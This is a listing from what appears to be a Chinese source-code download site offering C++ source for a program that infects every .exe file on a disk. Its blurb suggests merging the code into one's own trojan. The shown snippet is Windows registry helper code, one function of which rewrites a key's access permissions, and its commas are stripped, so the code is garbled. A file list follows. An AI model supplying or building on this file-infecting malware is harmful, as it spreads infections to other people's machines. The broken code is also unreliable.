资源简介
exe全盘感染c++源码,值得学习借鉴。
可以加入到自己的小马里啊
代码片段和文件信息
#include
//去除字符串类型前面的空格
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i“ “1))
break;
i++;
}
return (szData+i);
}
//设置注册表键读取的权限(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKeyLPCTSTR SubKeyDWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DEscriptOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey SubKey 0 WRITE_DAC &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia1 SECURITY_LOCAL_SYSTEM_RID 0 0 0 0 0 0 0 &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia 2 SECURITY_BUILTIN_DOMAIN_RID DOMAIN_ALIAS_RID_ADMINS0 0 0 0 0 0 &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap() 0 dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl dwAclSize ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl ACL_REVISION KEY_ALL_ACCESS pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl ACL_REVISION (unsigned long)security pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd SECURITY_DEscriptOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd TRUE pDacl FALSE))
__leave;
if(RegSetKeySecurity(hKey (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap() 0 pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在)
int ReadRegEx(HKEY MainKeyLPCTSTR SubKeyLPCTSTR VnameDWORD Typechar *szDataLPBYTE szBytesDWORD lbSizeint Mode)
{
HKEY hKey;
int ValueDWORDiResult=0;
char* PointStr;
char KeyName[32]ValueSz[MAX_PATH]ValueTemp[MAX_PATH];
DWORD szSizeKnSizedwIndex=0;
memset(KeyName0sizeof(KeyName));
memset(ValueSz0sizeof(ValueSz));
memset(ValueTemp0sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKeySubKeyKEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKeySubKey0KEY_READ&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryV
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 380 2009-07-31 11:28 While\Clean.bat
文件 68779 2011-06-02 14:59 While\Debug\StdAfx.obj
文件 99328 2015-08-05 16:09 While\Debug\vc60.idb
文件 200704 2011-06-02 15:28 While\Debug\vc60.pdb
文件 200773 2015-08-05 16:09 While\Debug\While.exe
文件 226856 2015-08-05 16:09 While\Debug\While.ilk
文件 19874 2011-06-02 15:28 While\Debug\While.obj
文件 2395232 2011-06-02 14:59 While\Debug\While.pch
文件 525312 2015-08-05 16:09 While\Debug\While.pdb
文件 2179 2015-08-05 16:09 While\diskpe.h
文件 5556 2011-06-02 15:26 While\PE.h
文件 1203 2011-05-31 19:14 While\ReadMe.txt
文件 7333 2008-05-16 17:50 While\RegEditEx.cpp
文件 646 2008-05-16 17:13 While\RegEditEx.h
文件 36864 2011-06-02 14:34 While\Release\While.exe
文件 292 2011-05-31 19:14 While\StdAfx.cpp
文件 773 2011-05-31 19:14 While\StdAfx.h
文件 1547 2011-06-02 15:26 While\While.cpp
文件 4280 2011-05-31 22:29 While\While.dsp
文件 518 2011-05-31 19:14 While\While.dsw
文件 58368 2015-08-05 16:12 While\While.ncb
文件 53760 2015-08-05 16:12 While\While.opt
文件 244 2015-08-05 16:09 While\While.plg
文件 50499 2011-06-02 14:34 While\While.rar
目录 0 2015-08-05 16:09 While\Debug
目录 0 2011-06-02 15:59 While\Release
目录 0 2015-08-05 16:12 While
----------- --------- ---------- ----- ----
3961300 27
............此处省略0个文件信息
- 上一篇:C语言jpg转换成bmp格式代码
- 下一篇:wav生成波形图
评论
共有 条评论